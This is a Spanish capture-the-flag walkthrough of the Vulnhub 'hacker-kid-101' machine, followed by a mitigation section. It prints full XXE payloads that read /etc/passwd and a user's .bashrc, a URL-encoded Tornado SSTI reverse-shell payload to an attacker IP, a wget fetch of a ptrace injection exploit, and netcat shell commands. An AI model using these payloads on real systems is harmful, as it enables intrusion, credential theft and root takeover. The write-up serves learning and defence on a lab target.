Preparación del laboratorio
La máquina del laboratorio está disponible en: Vulnhub hacker-kid-101
- Se ha importado la imagen OVA descargada desde el enlace proporcionado.
- En los ajustes de red, la máquina se ha configurado en una red NAT con el rango 10.0.2.0/24.
Identificación
El primer paso al trabajar con una máquina de Vulnhub es identificar la dirección IP de la máquina virtual. Para ello se ha utilizado la herramienta arp-scan.

En este caso, la dirección IP asignada a la máquina es 10.0.2.25.
Enumeración
Para obtener información detallada sobre los puertos abiertos y los servicios en funcionamiento en esta máquina, utilizamos la herramienta nmap.
sudo nmap -p- -sV -T5 -min-rate 5000 -n -Pn 10.0.2.25
Explicación de las opciones:
- -p-: Escanea todos los puertos.
- -sV: Detecta las versiones de los servicios.
- -T5: Establece la máxima velocidad en el tiempo de espera.
- -min-rate 5000: Establece la tasa mínima de 5000 paquetes por segundo.
- -n: Omite la resolución de nombres de host.
- -Pn: Omite los escaneos de ping, asumiendo que los hosts están activos.

Interpretemos la información proporcionada por nmap:
El puerto 53 ejecuta un servicio DNS con ISC BIND, encargado de la traducción de nombres de dominio a direcciones IP.
El puerto 80 contiene un servidor web Apache:

El puerto 9999 contiene un servicio HTTP llamado Tornado, un servidor web basado en Python orientado a aplicaciones en tiempo real.

Exploración del servidor web (puerto 80)
Procedemos a inspeccionar la web que se encuentra en el puerto 80. Podemos observar que es posible navegar entre diferentes páginas utilizando el parámetro page_no en las peticiones GET.

Con la herramienta Burp Suite podemos capturar una petición y ver los resultados para los diferentes números de página.
Una vez capturada la petición http://10.0.2.25/?page_no=1, la enviamos a la herramienta Intruder para probar varias numeraciones.
Puedes usar el atajo
Ctrl+ipara enviar la petición a la herramienta Intruder.

Configuramos el payload para que se usen los números del 1 al 30 como valor del parámetro page_no.

A continuación, iniciamos el ataque. Al finalizar, podemos ver que una de las peticiones responde con un tamaño muy diferente al resto.

Al acceder a la dirección http://10.0.2.25/?page_no=21, se observa al final de la página el siguiente mensaje:

La pista sugiere la necesidad de enumerar subdominios asociados a hackers.blackhat.local.
Resolución de DNS y descubrimiento de subdominios
Continuamos añadiendo una entrada al archivo /etc/hosts para asociar la IP con los dominios hackers.blackhat.local y blackhat.local.
Esto es útil para resolver nombres de dominio cuando no disponemos de servidores DNS externos a los que consultar.
10.0.2.25 hackers.blackhat.local blackhat.local
Puedes usar el comando
sudo nano /etc/hostspara editar el contenido del archivo/etc/hosts.
El análisis del servicio DNS alojado en el puerto 53 puede revelar información sobre el dominio y sus subdominios.
Utilizamos la herramienta dig (Domain Information Groper) para consultar el servidor DNS y obtener información sobre posibles subdominios, aunque no está diseñada específicamente para este propósito.

El servidor de nombres autorizado es blackhat.local. hackerkid.blackhat.local.
Debemos añadir el subdominio hackerkid.blackhat.local al archivo hosts, tal como hicimos antes.

Al acceder al subdominio podemos ver el siguiente formulario:

Análisis de vulnerabilidades
Con Burp Suite interceptamos nuevamente la petición POST del formulario para ver cómo se construye el cuerpo del mensaje.

Procedemos a enviar el formulario con los siguientes datos:

En la imagen anterior podemos observar que el correo electrónico se refleja en la respuesta, indicando que no es válido, lo que sugiere una posible vulnerabilidad a inyecciones XXE.
Explotación de la vulnerabilidad XXE
La vulnerabilidad XXE permite la inclusión de entidades externas dentro de documentos XML. A continuación, modificamos la solicitud interceptada para explotarla.
El objetivo es modificar el cuerpo del mensaje de la solicitud para realizar una inyección XXE con la que leer el archivo /etc/passwd.
A continuación, se muestra el payload utilizado:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root>
<name></name>
<tel></tel>
<email>&xxe;</email>
<password></password>
</root>
Lo importante es <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>: aquí se define una entidad llamada xxe. Esta entidad hace referencia a un recurso externo, el archivo del sistema /etc/passwd. Esto significa que, cuando se use &xxe; en el XML, el contenido de dicho archivo será insertado en su lugar.

A continuación, guardamos la información de las cuentas de usuario obtenidas en un archivo passwd.txt para filtrar por las que tienen login.
grep -v nologin passwd.txt
- La opción -v muestra todas las líneas que no contienen el patrón especificado.
Listado de los usuarios con acceso mediante login:

En las pistas que mostraba la página nº 21, se leía: “Out of my many homes…one such home..one such home for me: hackers.blackhat.local”.
De la lista anterior, el único usuario con directorio home y acceso por login es saket.
Al intentar obtener el archivo /home/saket/.bashrc de la misma forma que /etc/passwd, no obtenemos ningún resultado. Sin embargo, esto se resuelve utilizando el wrapper PHP php://filter, que aplica un filtro para convertir el contenido del archivo a base64.
Esto se hace principalmente para evitar problemas con caracteres especiales que podrían romper la estructura del XML o ser interpretados incorrectamente.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
<root>
<name></name>
<tel></tel>
<email>&xxe;</email>
<password></password>
</root>
Mandamos este payload con Burp Suite:

Usamos el conversor de base64 a texto que proporciona Burp Suite para ver el contenido del archivo y encontramos unas credenciales.
username="admin"
password="Saket!#$%@!!"
Accedemos al servicio web que encontramos en el puerto 9999. Al utilizar el usuario admin obtenemos un error, pero con el usuario saket conseguimos iniciar sesión.

Análisis de vulnerabilidades de Tornado
Con una búsqueda rápida en internet comprobamos que Tornado 6.1 es vulnerable a SSTI (Server-Side Template Injection).
Enlaces de interés:
En la captura anterior vemos que la página solicita un nombre mediante el mensaje “Tell me your name buddy” (“Dime tu nombre, amigo”).
Esto sugiere la existencia de un parámetro GET denominado name.

Parece que la funcionalidad de la aplicación es devolver el valor del parámetro name. Por lo tanto, podemos probar si es vulnerable a SSTI con un ejemplo simple.

¡Es vulnerbale! 😏
Esto significa que podemos inyectar una reverse shell.
Explotación vulnerabilidad SSTI de Tornado
En una terminal, iniciamos un servidor Netcat para escuchar conexiones entrantes en el puerto 4444.
nc -nlvp 4444
Este servidor esperará una conexión inversa desde la máquina objetivo
Usamos el payload {% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/10.0.2.16/4444 0>&1"')}} para hacer la reverse shell.
-
{% import os %}: Importa el móduloosde Python, que permite interactuar con el sistema operativo. -
{{os.system(...)}}: Ejecuta el comando dentro de las comillas. -
bash -c "bash -i >& /dev/tcp/10.0.2.16/4444 0>&1": Inicia una shell interactiva y redirige su entrada y salida a nuestro servidor Netcat.
Antes de utilizar el payload, es necesario codificarlo con URL Encode:
10.0.2.25:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.16%2F4444%200%3E%261%22%27%29%7D%7D
Recibimos la conexión en la terminal:

¡Estamos dentro! 😈
Una vez que hemos obtenido acceso a la shell, podemos mejorarla utilizando Python, obteniendo una interfaz más completa y fácil de usar.
which python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
El comando
which python3se utiliza para determinar la ubicación del ejecutable de Python 3 en el sistema. Si lo encuetra, devuelve la ruta de Python.
Análisis de vulnerabilidades para escalar privilegios
Vamos a buscar todos los archivos binarios que tengan capacidades (capabilities) configuradas.
Las capacidades de Linux permiten que los archivos binarios, ejecutados por usuarios no privilegiados, realicen operaciones que normalmente requieren permisos de root.
/sbin/getcap -r / 2>/dev/null

La capacidad CAP_SYS_PTRACE está presente en el conjunto de capacidades permitidas del binario /usr/bin/python2.7. Un proceso con CAP_SYS_PTRACE puede adjuntarse a cualquier otro proceso en el sistema, incluyendo aquellos con mayor nivel de privilegio.
Esto podría permitir ejecutar código arbitrario en el contexto de otro proceso, lo que potencialmente facilita la escalación de privilegios.
Procederemos a verificar los servicios que se están ejecutando en la máquina con privilegios de root.
ps -eaf | grep root

El servicio Apache2 se está ejecutando en la máquina con el PID 1361.
A continuación, necesitamos saber si la máquina ejecuta una versión de Linux de 32 o 64 bits.

La máquina está configurada con un Linux de 64 bits.
Escalada de privilegios
En HackTricks podemos encontrar un artículo que explica la escalada de privilegios cuando se dispone de la capacidad CAP_SYS_PTRACE.
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities

Copiamos el exploit de ejemplo y lo guardamos como inject.py.
Este exploit crea un BIND TCP Shell en el puerto 5600 al que luego podremos conectarnos utilizando NetCat.
En la ubicación del archivo, iniciamos un servidor HTTP con python -m http.server, lo que nos permite descargarlo en la máquina objetivo mediante wget http://10.0.2.16:8000/inject.py.
Ejecución del exploit:
python2.7 inject.py 1361
El PID 1361 pertenece al servicio Apache2 que se está ejecutando en la máquina.

A continuación, comprobamos con netstat si se ha establecido la conexión al puerto 5600.
netstat -ntlp

Para finalizar, utilizamos Netcat para establecer una conexión con el puerto 5600 de la máquina objetivo.
nc 10.0.2.25 5600

pwn3d! 🏴☠️
Mitigaciones
Las siguientes medidas están centradas en reducir el riesgo observado durante la resolución de la máquina.
XXE (External XML Entity)
La aplicación procesaba el contenido XML enviado desde el formulario y permitía definir entidades externas. Esto hizo posible leer archivos locales como /etc/passwd y, posteriormente, acceder al archivo .bashrc del usuario saket.
Para corregirlo, el parser XML debe rechazar las declaraciones DOCTYPE y tener deshabilitada tanto la resolución de entidades externas como la carga de DTD externas. En PHP con libxml, por ejemplo, no deberían utilizarse opciones como LIBXML_NOENT o LIBXML_DTDLOAD con contenido controlado por el usuario.
Además, el servicio web debería ejecutarse con un usuario sin permisos para leer archivos personales o sensibles. De esta forma, incluso si apareciera otra vulnerabilidad XXE, su impacto quedaría limitado.
Como medida de detección, conviene registrar las peticiones XML que incluyan cadenas como <!DOCTYPE, <!ENTITY, SYSTEM, file:// o php://filter, ya que fueron elementos necesarios para realizar la explotación en este laboratorio.
SSTI en Tornado
El parámetro name se insertaba directamente en una plantilla de Tornado. Como el contenido recibido era interpretado por el motor de plantillas, fue posible importar el módulo os y ejecutar comandos en el servidor.
La solución principal es evitar construir o renderizar plantillas a partir de entradas proporcionadas por el usuario. El valor de name debería tratarse únicamente como un dato y pasarse a una plantilla fija mediante una variable correctamente escapada.
También debería revisarse la versión de Tornado utilizada y actualizarla cuando corresponda. Sin embargo, una actualización no sustituye la necesidad de corregir la forma en la que la aplicación genera las plantillas.
Para detectar intentos de explotación pueden monitorizarse parámetros que contengan expresiones como {% import %}, {{ ... }}, os.system, subprocess o secuencias codificadas que representen estas construcciones. Estas alertas deben servir como apoyo, no como sustituto de la corrección en el código.
Capacidad CAP_SYS_PTRACE en binarios no privilegiados
La escalada de privilegios fue posible porque /usr/bin/python2.7 tenía asignada la capacidad CAP_SYS_PTRACE. Al tratarse de un intérprete de propósito general, esta capacidad permitió ejecutar un script que se adjuntó a un proceso de Apache ejecutado como root e inyectó código en él.
Si esta capacidad no es imprescindible, debe eliminarse:
sudo setcap -r /usr/bin/python2.7
También debería investigarse por qué se asignó originalmente. Las capabilities solo deben concederse a binarios específicos que necesiten realizar una operación concreta, nunca a intérpretes como Python, Perl o Ruby, ya que permiten ejecutar código arbitrario con los privilegios asociados.
Como medida adicional, se pueden realizar revisiones periódicas con getcap -r / y configurar auditd para registrar llamadas a ptrace, especialmente cuando un proceso sin privilegios intenta adjuntarse a servicios ejecutados como root.
Exposición de credenciales en archivos de configuración
Mediante la vulnerabilidad XXE se obtuvo el contenido de /home/saket/.bashrc, donde aparecían las credenciales utilizadas posteriormente para acceder al servicio Tornado. Esto demuestra que los archivos personales y de configuración no son lugares adecuados para almacenar contraseñas.
Las credenciales expuestas deben rotarse y eliminarse del archivo. Además, habría que comprobar si la misma contraseña se reutiliza en otros servicios o cuentas.
En un entorno real, los secretos deberían almacenarse mediante un gestor de secretos o mediante variables de entorno gestionadas con permisos restrictivos. El proceso de la aplicación solo debería poder acceder a los secretos que necesita y estos nunca deberían incluirse en archivos servidos por la aplicación, repositorios de código, scripts de inicio o archivos como .bashrc.